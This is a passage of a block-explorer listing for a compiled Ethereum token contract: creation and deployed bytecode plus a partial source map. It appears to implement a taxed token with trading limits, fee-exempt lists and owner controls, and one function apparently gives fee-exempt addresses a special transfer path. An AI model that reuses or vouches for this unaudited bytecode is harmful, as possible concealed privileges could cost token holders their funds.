366004611a59565b610804565b34801561039e57600080fd5b506102fc600d5481565b3480156103b457600080fd5b506102fc600b5481565b3480156103ca57600080fd5b506102d37f000000000000000000000000000000000000000000000000000000000000000081565b3480156103fe57600080fd5b50600a5461025f9060ff1681565b34801561041857600080fd5b50600a5461025f9062010000900460ff1681565b34801561043857600080fd5b506102fc610447366004611a85565b6001600160a01b031660009081526020819052604090205490565b34801561046e57600080fd5b50610477610840565b005b34801561048557600080fd5b5061025f610876565b34801561049a57600080fd5b506104776104a9366004611af1565b6108b3565b3480156104ba57600080fd5b50610477610908565b3480156104cf57600080fd5b506005546001600160a01b03166102d3565b3480156104ed57600080fd5b5061022961094f565b34801561050257600080fd5b50610477610511366004611af1565b61095e565b34801561052257600080fd5b5061025f610531366004611a59565b610a3e565b34801561054257600080fd5b5061025f610551366004611a59565b610ad7565b34801561056257600080fd5b50610477610571366004611a59565b610ae4565b34801561058257600080fd5b5061025f610591366004611a85565b60136020526000908152604090205460ff1681565b3480156105b257600080fd5b50600a5461025f90610100900460ff1681565b3480156105d157600080fd5b506104776105e0366004611af1565b610aef565b3480156105f157600080fd5b506102fc60075481565b34801561060757600080fd5b506102fc610616366004611b2a565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561064d57600080fd5b506102fc60085481565b34801561066357600080fd5b5061025f610672366004611a59565b610b78565b34801561068357600080fd5b50610477610692366004611a85565b610bad565b3480156106a357600080fd5b506102fc60095481565b6060600380546106bc90611b58565b80601f01602080910402602001604051908101604052809291908181526020018280546106e890611b58565b80156107355780601f1061070a57610100808354040283529160200191610735565b820191906000526020600020905b81548152906001019060200180831161071857829003601f168201915b5050505050905090565b600061074c338484610c48565b50600192915050565b6000610762848484610d6c565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156107ec5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6107f98533858403610c48565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161074c91859061083b908690611ba9565b610c48565b6005546001600160a01b0316331461086a5760405162461bcd60e51b81526004016107e390611bc1565b610874600061139b565b565b6005546000906001600160a01b031633146108a35760405162461bcd60e51b81526004016107e390611bc1565b50600a805460ff19169055600190565b6005546001600160a01b031633146108dd5760405162461bcd60e51b81526004016107e390611bc1565b6001600160a01b03919091166000908152601260205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146109325760405162461bcd60e51b81526004016107e390611bc1565b6000600b819055600c55600a805462ffff00191662010100179055565b6060600480546106bc90611b58565b6005546001600160a01b031633146109885760405162461bcd60e51b81526004016107e390611bc1565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b03161415610a305760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084016107e3565b610a3a82826113ed565b5050565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610ac05760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016107e3565b610acd3385858403610c48565b5060019392505050565b600061074c338484610d6c565b610a3a338383611441565b6005546001600160a01b03163314610b195760405162461bcd60e51b81526004016107e390611bc1565b6001600160a01b038216600081815260116020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216600090815260016020908152604080832030808552925282205461074c91859161083b908690611ba9565b6005546001600160a01b03163314610bd75760405162461bcd60e51b81526004016107e390611bc1565b6001600160a01b038116610c3c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107e3565b610c458161139b565b50565b6001600160a01b038316610caa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e3565b6001600160a01b038216610d0b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e3565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d925760405162461bcd60e51b81526004016107e390611bf6565b6001600160a01b038216610db85760405162461bcd60e51b81526004016107e390611c3b565b80610dce57610dc98383600061166a565b505050565b600a5460ff1615611144576005546001600160a01b03848116911614801590610e0557506005546001600160a01b03838116911614155b8015610e1957506001600160a01b03821615155b8015610e3057506001600160a01b03821661dead14155b8015610e465750600554600160a01b900460ff16155b1561114457600a54610100900460ff16610ede576001600160a01b03831660009081526011602052604090205460ff1680610e9957506001600160a01b03821660009081526011602052604090205460ff165b610ede5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016107e3565b6001600160a01b03831660009081526013602052604090205460ff168015610f1f57506001600160a01b03821660009081526012602052604090205460ff16155b1561100357600754811115610f945760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b60648201526084016107e3565b6009546001600160a01b038316600090815260208190526040902054610fba9083611ba9565b1115610ffe5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016107e3565b611144565b6001600160a01b03821660009081526013602052604090205460ff16801561104457506001600160a01b03831660009081526012602052604090205460ff16155b156110ba57600754811115610ffe5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b60648201526084016107e3565b6001600160a01b03821660009081526012602052604090205460ff16611144576009546001600160a01b0383166000908152602081905260409020546111009083611ba9565b11156111445760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016107e3565b61114f8383836117bf565b306000908152602081905260409020546008548110801590819061117b5750600a5462010000900460ff165b80156111915750600554600160a01b900460ff16155b80156111b657506001600160a01b03851660009081526013602052604090205460ff16155b80156111db57506001600160a01b03851660009081526011602052604090205460ff16155b801561120057506001600160a01b03841660009081526011602052604090205460ff16155b1561122e576005805460ff60a01b1916600160a01b1790556112206118b0565b6005805460ff60a01b191690555b6005546001600160a01b03861660009081526011602052604090205460ff600160a01b90920482161591168061127c57506001600160a01b03851660009081526011602052604090205460ff165b15611285575060005b6000811561137c576001600160a01b03861660009081526013602052604090205460ff1680156112b757506000600c54115b156112fb576112dc60646112d6600c548861192090919063ffffffff16565b90611933565b905080600d60008282546112f09190611ba9565b9091555061135e9050565b6001600160a01b03871660009081526013602052604090205460ff16801561132557506000600b54115b1561135e5761134460646112d6600b548861192090919063ffffffff16565b905080600d60008282546113589190611ba9565b90915550505b801561136f5761136f87308361166a565b6113798186611c7e565b94505b61138787878761193f565b61139287878761166a565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260136020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b604080516002808252606082018352600092602083019080368337019050509050828160008151811061147657611476611c95565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115189190611cab565b8160018151811061152b5761152b611c95565b6001600160a01b0392831660209182029290920181019190915290851660009081526011909152604090205460ff163081156115db576040516323b872dd60e01b81526001600160a01b03868116600483015282166024820181905260448201869052906323b872dd906064016020604051808303816000875af11580156115b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113929190611cc8565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611630908790600090889030904290600401611ce5565b600060405180830381600087803b15801561164a57600080fd5b505af115801561165e573d6000803e3d6000fd5b50505050505050505050565b6001600160a01b0383166116905760405162461bcd60e51b81526004016107e390611bf6565b6001600160a01b0382166116b65760405162461bcd60e51b81526004016107e390611c3b565b6001600160a01b0383166000908152602081905260409020548181101561172e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016107e3565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611765908490611ba9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117b191815260200190565b60405180910390a350505050565b60006117d36005546001600160a01b031690565b6001600160a01b0316846001600160a01b03161415801561180257506005546001600160a01b03848116911614155b6001600160a01b0385166000908152601360205260408120549192509060ff16801561182e5750600083115b6001600160a01b03861660009081526011602052604090205490915060ff168061187057506001600160a01b03841660009081526011602052604090205460ff165b80156118795750815b156118875743600f556118a9565b80156118a9576001600160a01b0384166000908152600e602052604090204390555b5050505050565b30600081815260208190526040812054916118cd90339084611441565b6000600d8190556006546040516001600160a01b039091169147919081818185875af1925050503d80600081146118a9576040519150601f19603f3d011682016040523d82523d6000602084013e6118a9565b600061192c8284611d56565b9392505050565b600061192c8284611d75565b6001600160a01b03831660009081526011602052604081205460ff1615801561198157506001600160a01b03831660009081526011602052604090205460ff16155b6001600160a01b0385166000908152601360205260408120549192509060ff161580156119ae5750600083115b90508080156119ba5750815b156118a957600f546001600160a01b0386166000908152600e60205260409020546119e59190611c7e565b6010555050505050565b600060208083528351808285015260005b81811015611a1c57858101830151858201604001528201611a00565b81811115611a2e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610c4557600080fd5b60008060408385031215611a6c57600080fd5b8235611a7781611a44565b946020939093013593505050565b600060208284031215611a9757600080fd5b813561192c81611a44565b600080600060608486031215611ab757600080fd5b8335611ac281611a44565b92506020840135611ad281611a44565b929592945050506040919091013590565b8015158114610c4557600080fd5b60008060408385031215611b0457600080fd5b8235611b0f81611a44565b91506020830135611b1f81611ae3565b809150509250929050565b60008060408385031215611b3d57600080fd5b8235611b4881611a44565b91506020830135611b1f81611a44565b600181811c90821680611b6c57607f821691505b60208210811415611b8d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115611bbc57611bbc611b93565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600082821015611c9057611c90611b93565b500390565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611cbd57600080fd5b815161192c81611a44565b600060208284031215611cda57600080fd5b815161192c81611ae3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d355784516001600160a01b031683529383019391830191600101611d10565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611d7057611d70611b93565b500290565b600082611d9257634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220347fc3d45739555b5f05e96d981850c19d16bbfa8128e7d477e088c05046f16e64736f6c634300080a00334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

Deployed Bytecode

0x6080604052600436106102085760003560e01c8063751039fc11610118578063b62496f5116100a0578063dd62ed3e1161006f578063dd62ed3e146105fb578063e2f4560514610641578063e6f7053114610657578063f2fde38b14610677578063f8b45b051461069757600080fd5b8063b62496f514610576578063bbc0c742146105a6578063c0246668146105c5578063c8c8ebe4146105e557600080fd5b806395d89b41116100e757806395d89b41146104e15780639a7a23d6146104f6578063a457c2d714610516578063a9059cbb14610536578063aea6e2ff1461055657600080fd5b8063751039fc146104795780637571336a1461048e5780638a8c523c146104ae5780638da5cb5b146104c357600080fd5b8063313ce5671161019b57806349bd5a5e1161016a57806349bd5a5e146103be5780634a62bb65146103f25780636ddd17131461040c57806370a082311461042c578063715018a61461046257600080fd5b8063313ce5671461035657806339509351146103725780633f8a62041461039257806347062402146103a857600080fd5b806318160ddd116101d757806318160ddd146102eb57806323b872dd1461030a57806327c8f8351461032a5780632b14ca561461034057600080fd5b806306fdde0314610214578063095ea7b31461023f57806310d5de531461026f5780631694505e1461029f57600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b506102296106ad565b60405161023691906119ef565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611a59565b61073f565b6040519015158152602001610236565b34801561027b57600080fd5b5061025f61028a366004611a85565b60126020526000908152604090205460ff1681565b3480156102ab57600080fd5b506102d37f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610236565b3480156102f757600080fd5b506002545b604051908152602001610236565b34801561031657600080fd5b5061025f610325366004611aa2565b610755565b34801561033657600080fd5b506102d361dead81565b34801561034c57600080fd5b506102fc600c5481565b34801561036257600080fd5b5060405160128152602001610236565b34801561037e57600080fd5b5061025f61038d366004611a59565b610804565b34801561039e57600080fd5b506102fc600d5481565b3480156103b457600080fd5b506102fc600b5481565b3480156103ca57600080fd5b506102d37f00000000000000000000000043af4a4b9bb9f1ec4ea59e7dc851e05f5b3397ee81565b3480156103fe57600080fd5b50600a5461025f9060ff1681565b34801561041857600080fd5b50600a5461025f9062010000900460ff1681565b34801561043857600080fd5b506102fc610447366004611a85565b6001600160a01b031660009081526020819052604090205490565b34801561046e57600080fd5b50610477610840565b005b34801561048557600080fd5b5061025f610876565b34801561049a57600080fd5b506104776104a9366004611af1565b6108b3565b3480156104ba57600080fd5b50610477610908565b3480156104cf57600080fd5b506005546001600160a01b03166102d3565b3480156104ed57600080fd5b5061022961094f565b34801561050257600080fd5b50610477610511366004611af1565b61095e565b34801561052257600080fd5b5061025f610531366004611a59565b610a3e565b34801561054257600080fd5b5061025f610551366004611a59565b610ad7565b34801561056257600080fd5b50610477610571366004611a59565b610ae4565b34801561058257600080fd5b5061025f610591366004611a85565b60136020526000908152604090205460ff1681565b3480156105b257600080fd5b50600a5461025f90610100900460ff1681565b3480156105d157600080fd5b506104776105e0366004611af1565b610aef565b3480156105f157600080fd5b506102fc60075481565b34801561060757600080fd5b506102fc610616366004611b2a565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561064d57600080fd5b506102fc60085481565b34801561066357600080fd5b5061025f610672366004611a59565b610b78565b34801561068357600080fd5b50610477610692366004611a85565b610bad565b3480156106a357600080fd5b506102fc60095481565b6060600380546106bc90611b58565b80601f01602080910402602001604051908101604052809291908181526020018280546106e890611b58565b80156107355780601f1061070a57610100808354040283529160200191610735565b820191906000526020600020905b81548152906001019060200180831161071857829003601f168201915b5050505050905090565b600061074c338484610c48565b50600192915050565b6000610762848484610d6c565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156107ec5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6107f98533858403610c48565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161074c91859061083b908690611ba9565b610c48565b6005546001600160a01b0316331461086a5760405162461bcd60e51b81526004016107e390611bc1565b610874600061139b565b565b6005546000906001600160a01b031633146108a35760405162461bcd60e51b81526004016107e390611bc1565b50600a805460ff19169055600190565b6005546001600160a01b031633146108dd5760405162461bcd60e51b81526004016107e390611bc1565b6001600160a01b03919091166000908152601260205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146109325760405162461bcd60e51b81526004016107e390611bc1565b6000600b819055600c55600a805462ffff00191662010100179055565b6060600480546106bc90611b58565b6005546001600160a01b031633146109885760405162461bcd60e51b81526004016107e390611bc1565b7f00000000000000000000000043af4a4b9bb9f1ec4ea59e7dc851e05f5b3397ee6001600160a01b0316826001600160a01b03161415610a305760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084016107e3565b610a3a82826113ed565b5050565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610ac05760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016107e3565b610acd3385858403610c48565b5060019392505050565b600061074c338484610d6c565b610a3a338383611441565b6005546001600160a01b03163314610b195760405162461bcd60e51b81526004016107e390611bc1565b6001600160a01b038216600081815260116020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216600090815260016020908152604080832030808552925282205461074c91859161083b908690611ba9565b6005546001600160a01b03163314610bd75760405162461bcd60e51b81526004016107e390611bc1565b6001600160a01b038116610c3c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107e3565b610c458161139b565b50565b6001600160a01b038316610caa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e3565b6001600160a01b038216610d0b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e3565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d925760405162461bcd60e51b81526004016107e390611bf6565b6001600160a01b038216610db85760405162461bcd60e51b81526004016107e390611c3b565b80610dce57610dc98383600061166a565b505050565b600a5460ff1615611144576005546001600160a01b03848116911614801590610e0557506005546001600160a01b03838116911614155b8015610e1957506001600160a01b03821615155b8015610e3057506001600160a01b03821661dead14155b8015610e465750600554600160a01b900460ff16155b1561114457600a54610100900460ff16610ede576001600160a01b03831660009081526011602052604090205460ff1680610e9957506001600160a01b03821660009081526011602052604090205460ff165b610ede5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016107e3565b6001600160a01b03831660009081526013602052604090205460ff168015610f1f57506001600160a01b03821660009081526012602052604090205460ff16155b1561100357600754811115610f945760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b60648201526084016107e3565b6009546001600160a01b038316600090815260208190526040902054610fba9083611ba9565b1115610ffe5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016107e3565b611144565b6001600160a01b03821660009081526013602052604090205460ff16801561104457506001600160a01b03831660009081526012602052604090205460ff16155b156110ba57600754811115610ffe5760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b60648201526084016107e3565b6001600160a01b03821660009081526012602052604090205460ff16611144576009546001600160a01b0383166000908152602081905260409020546111009083611ba9565b11156111445760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016107e3565b61114f8383836117bf565b306000908152602081905260409020546008548110801590819061117b5750600a5462010000900460ff165b80156111915750600554600160a01b900460ff16155b80156111b657506001600160a01b03851660009081526013602052604090205460ff16155b80156111db57506001600160a01b03851660009081526011602052604090205460ff16155b801561120057506001600160a01b03841660009081526011602052604090205460ff16155b1561122e576005805460ff60a01b1916600160a01b1790556112206118b0565b6005805460ff60a01b191690555b6005546001600160a01b03861660009081526011602052604090205460ff600160a01b90920482161591168061127c57506001600160a01b03851660009081526011602052604090205460ff165b15611285575060005b6000811561137c576001600160a01b03861660009081526013602052604090205460ff1680156112b757506000600c54115b156112fb576112dc60646112d6600c548861192090919063ffffffff16565b90611933565b905080600d60008282546112f09190611ba9565b9091555061135e9050565b6001600160a01b03871660009081526013602052604090205460ff16801561132557506000600b54115b1561135e5761134460646112d6600b548861192090919063ffffffff16565b905080600d60008282546113589190611ba9565b90915550505b801561136f5761136f87308361166a565b6113798186611c7e565b94505b61138787878761193f565b61139287878761166a565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260136020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b604080516002808252606082018352600092602083019080368337019050509050828160008151811061147657611476611c95565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115189190611cab565b8160018151811061152b5761152b611c95565b6001600160a01b0392831660209182029290920181019190915290851660009081526011909152604090205460ff163081156115db576040516323b872dd60e01b81526001600160a01b03868116600483015282166024820181905260448201869052906323b872dd906064016020604051808303816000875af11580156115b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113929190611cc8565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611630908790600090889030904290600401611ce5565b600060405180830381600087803b15801561164a57600080fd5b505af115801561165e573d6000803e3d6000fd5b50505050505050505050565b6001600160a01b0383166116905760405162461bcd60e51b81526004016107e390611bf6565b6001600160a01b0382166116b65760405162461bcd60e51b81526004016107e390611c3b565b6001600160a01b0383166000908152602081905260409020548181101561172e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016107e3565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611765908490611ba9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117b191815260200190565b60405180910390a350505050565b60006117d36005546001600160a01b031690565b6001600160a01b0316846001600160a01b03161415801561180257506005546001600160a01b03848116911614155b6001600160a01b0385166000908152601360205260408120549192509060ff16801561182e5750600083115b6001600160a01b03861660009081526011602052604090205490915060ff168061187057506001600160a01b03841660009081526011602052604090205460ff165b80156118795750815b156118875743600f556118a9565b80156118a9576001600160a01b0384166000908152600e602052604090204390555b5050505050565b30600081815260208190526040812054916118cd90339084611441565b6000600d8190556006546040516001600160a01b039091169147919081818185875af1925050503d80600081146118a9576040519150601f19603f3d011682016040523d82523d6000602084013e6118a9565b600061192c8284611d56565b9392505050565b600061192c8284611d75565b6001600160a01b03831660009081526011602052604081205460ff1615801561198157506001600160a01b03831660009081526011602052604090205460ff16155b6001600160a01b0385166000908152601360205260408120549192509060ff161580156119ae5750600083115b90508080156119ba5750815b156118a957600f546001600160a01b0386166000908152600e60205260409020546119e59190611c7e565b6010555050505050565b600060208083528351808285015260005b81811015611a1c57858101830151858201604001528201611a00565b81811115611a2e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610c4557600080fd5b60008060408385031215611a6c57600080fd5b8235611a7781611a44565b946020939093013593505050565b600060208284031215611a9757600080fd5b813561192c81611a44565b600080600060608486031215611ab757600080fd5b8335611ac281611a44565b92506020840135611ad281611a44565b929592945050506040919091013590565b8015158114610c4557600080fd5b60008060408385031215611b0457600080fd5b8235611b0f81611a44565b91506020830135611b1f81611ae3565b809150509250929050565b60008060408385031215611b3d57600080fd5b8235611b4881611a44565b91506020830135611b1f81611a44565b600181811c90821680611b6c57607f821691505b60208210811415611b8d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115611bbc57611bbc611b93565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600082821015611c9057611c90611b93565b500390565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611cbd57600080fd5b815161192c81611a44565b600060208284031215611cda57600080fd5b815161192c81611ae3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d355784516001600160a01b031683529383019391830191600101611d10565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611d7057611d70611b93565b500290565b600082611d9257634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220347fc3d45739555b5f05e96d981850c19d16bbfa8128e7d477e088c05046f16e64736f6c634300080a0033

Deployed Bytecode Sourcemap

15405:9856:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2886:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3800:169;;;;;;;;;;-1:-1:-1;3800:169:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;3800:169:0;1072:187:1;16269:63:0;;;;;;;;;;-1:-1:-1;16269:63:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15478:51;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1707:32:1;;;1689:51;;1677:2;1662:18;15478:51:0;1516:230:1;3207:108:0;;;;;;;;;;-1:-1:-1;3295:12:0;;3207:108;;;1897:25:1;;;1885:2;1870:18;3207:108:0;1751:177:1;3977:492:0;;;;;;;;;;-1:-1:-1;3977:492:0;;;;;:::i;:::-;;:::i;15581:53::-;;;;;;;;;;;;15627:6;15581:53;;15968:22;;;;;;;;;;;;;;;;3106:93;;;;;;;;;;-1:-1:-1;3106:93:0;;3189:2;2744:36:1;;2732:2;2717:18;3106:93:0;2602:184:1;4691:215:0;;;;;;;;;;-1:-1:-1;4691:215:0;;;;;:::i;:::-;;:::i;15997:28::-;;;;;;;;;;;;;;;;15940:21;;;;;;;;;;;;;;;;15536:38;;;;;;;;;;;;;;;15820:33;;;;;;;;;;-1:-1:-1;15820:33:0;;;;;;;;15900:31;;;;;;;;;;-1:-1:-1;15900:31:0;;;;;;;;;;;3323:127;;;;;;;;;;-1:-1:-1;3323:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;3424:18:0;3397:7;3424:18;;;;;;;;;;;;3323:127;1006:103;;;;;;;;;;;;;:::i;:::-;;18452:121;;;;;;;;;;;;;:::i;18581:167::-;;;;;;;;;;-1:-1:-1;18581:167:0;;;;;:::i;:::-;;:::i;18245:155::-;;;;;;;;;;;;;:::i;781:87::-;;;;;;;;;;-1:-1:-1;854:6:0;;-1:-1:-1;;;;;854:6:0;781:87;;2994:104;;;;;;;;;;;;;:::i;19357:304::-;;;;;;;;;;-1:-1:-1;19357:304:0;;;;;:::i;:::-;;:::i;4914:413::-;;;;;;;;;;-1:-1:-1;4914:413:0;;;;;:::i;:::-;;:::i;3458:175::-;;;;;;;;;;-1:-1:-1;3458:175:0;;;;;:::i;:::-;;:::i;25111:147::-;;;;;;;;;;-1:-1:-1;25111:147:0;;;;;:::i;:::-;;:::i;16490:57::-;;;;;;;;;;-1:-1:-1;16490:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15860:33;;;;;;;;;;-1:-1:-1;15860:33:0;;;;;;;;;;;18756:182;;;;;;;;;;-1:-1:-1;18756:182:0;;;;;:::i;:::-;;:::i;15705:35::-;;;;;;;;;;;;;;;;3641:151;;;;;;;;;;-1:-1:-1;3641:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;3757:18:0;;;3730:7;3757:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3641:151;15747:33;;;;;;;;;;;;;;;;4477:206;;;;;;;;;;-1:-1:-1;4477:206:0;;;;;:::i;:::-;;:::i;1119:201::-;;;;;;;;;;-1:-1:-1;1119:201:0;;;;;:::i;:::-;;:::i;15787:24::-;;;;;;;;;;;;;;;;2886:100;2940:13;2973:5;2966:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2886:100;:::o;3800:169::-;3883:4;3900:39;401:10;3923:7;3932:6;3900:8;:39::i;:::-;-1:-1:-1;3957:4:0;3800:169;;;;:::o;3977:492::-;4117:4;4134:36;4144:6;4152:9;4163:6;4134:9;:36::i;:::-;-1:-1:-1;;;;;4210:19:0;;4183:24;4210:19;;;:11;:19;;;;;;;;401:10;4210:33;;;;;;;;4262:26;;;;4254:79;;;;-1:-1:-1;;;4254:79:0;;4281:2:1;4254:79:0;;;4263: